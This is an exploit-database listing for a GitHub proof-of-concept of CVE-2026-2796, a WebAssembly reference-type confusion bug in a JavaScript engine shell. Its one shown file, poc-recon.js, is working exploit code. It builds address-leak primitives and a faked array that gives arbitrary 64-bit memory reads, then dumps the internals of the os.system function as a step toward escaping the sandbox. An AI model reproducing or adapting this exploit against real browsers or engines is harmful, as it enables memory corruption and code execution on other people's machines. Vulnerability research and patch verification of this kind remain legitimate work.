Exploit database

GH-e780a79c8b0cb1ba878fb87d67cfa1e9

sneakynachos/cve-2026-2796-escape-wasm-by-using-wasm

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-2796

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/poc-recon.js

JavaScript · 3,042 bytes
// CVE-2026-2796 — recon: dump JSFunction(os.system) and a WasmFuncRef.
function wasmEvalText(text, imports) {
  return new WebAssembly.Instance(
    new WebAssembly.Module(wasmTextToBinary(text)), imports ?? {});
}
function hex(v) { return "0x" + v.toString(16); }

let A1 = wasmEvalText(`(module
  (func (export "id") (param i64) (result i64) local.get 0))`);
let A2 = wasmEvalText(`(module
  (type $arr (array (mut i64)))
  (func (export "rd") (param (ref $arr) i32) (result i64)
    (array.get $arr (local.get 0) (local.get 1))))`);

let B = wasmEvalText(`(module
  (type $arr (array (mut i64)))
  (type $v (func (param i64)))
  (type $tidR (func (param (ref $arr)) (result i64)))
  (type $tidE (func (param externref) (result i64)))
  (type $tidF (func (param (ref $v)) (result i64)))
  (type $trd (func (param i64 i32) (result i64)))
  (func (import "" "id") (param (ref $arr)) (result i64))
  (func (import "" "idE") (param externref) (result i64))
  (func (import "" "idF") (param (ref $v)) (result i64))
  (func (import "" "rd") (param i64 i32) (result i64))
  (func (export "mkSpray") (result (ref $arr))
    (array.new $arr (i64.const 0) (i32.const 8)))
  (func (export "addrOfArr") (param (ref $arr)) (result i64)
    (call_ref $tidR (local.get 0) (ref.func 0)))
  (func (export "addrOfExt") (param externref) (result i64)
    (call_ref $tidE (local.get 0) (ref.func 1)))
  (func (export "addrOfFun") (param (ref $v)) (result i64)
    (call_ref $tidF (local.get 0) (ref.func 2)))
  (func (export "prepFake") (param (ref $arr)) (result i64)
    (local $S i64)
    (local.set $S (call_ref $tidR (local.get 0) (ref.func 0)))
    (array.set $arr (local.get 0) (i32.const 2) (i64.const 0x7fffffff))
    (i64.add (local.get $S) (i64.const 40)))
  (func (export "setData") (param (ref $arr) i64)
    (array.set $arr (local.get 0) (i32.const 3) (local.get 1)))
  (func (export "rdFake") (param i64 i32) (result i64)
    (call_ref $trd (local.get 0) (local.get 1) (ref.func 3)))
  (elem declare func 0) (elem declare func 1)
  (elem declare func 2) (elem declare func 3))`,
  { "": { "id":  Function.prototype.call.bind(A1.exports.id),
          "idE": Function.prototype.call.bind(A1.exports.id),
          "idF": Function.prototype.call.bind(A1.exports.id),
          "rd":  Function.prototype.call.bind(A2.exports.rd) } });

let C = wasmEvalText(`(module
  (type $v (func (param i64)))
  (func (export "dummy") (param i64)))`);

let E = B.exports;
let spray = E.mkSpray();
let X = E.prepFake(spray);
function read64(addr) { E.setData(spray, addr); return E.rdFake(X, 0); }
function dump(name, base, n) {
  print(name + " @ " + hex(base));
  for (let i = 0; i < n; i++) {
    let v = read64(base + BigInt(i * 8));
    print("  +" + (i * 8).toString(16).padStart(2, "0") + ": " + hex(v));
  }
}

let jsf = E.addrOfExt(os.system);
dump("JSFunction(os.system)", jsf, 12);

let fr = E.addrOfFun(C.exports.dummy);
dump("WasmFuncRef(dummy)", fr, 20);
print("[*] hint: binary pointers look like 0x100xxxxxx, JIT like 0x01xxxxxxxx / 0x03xx");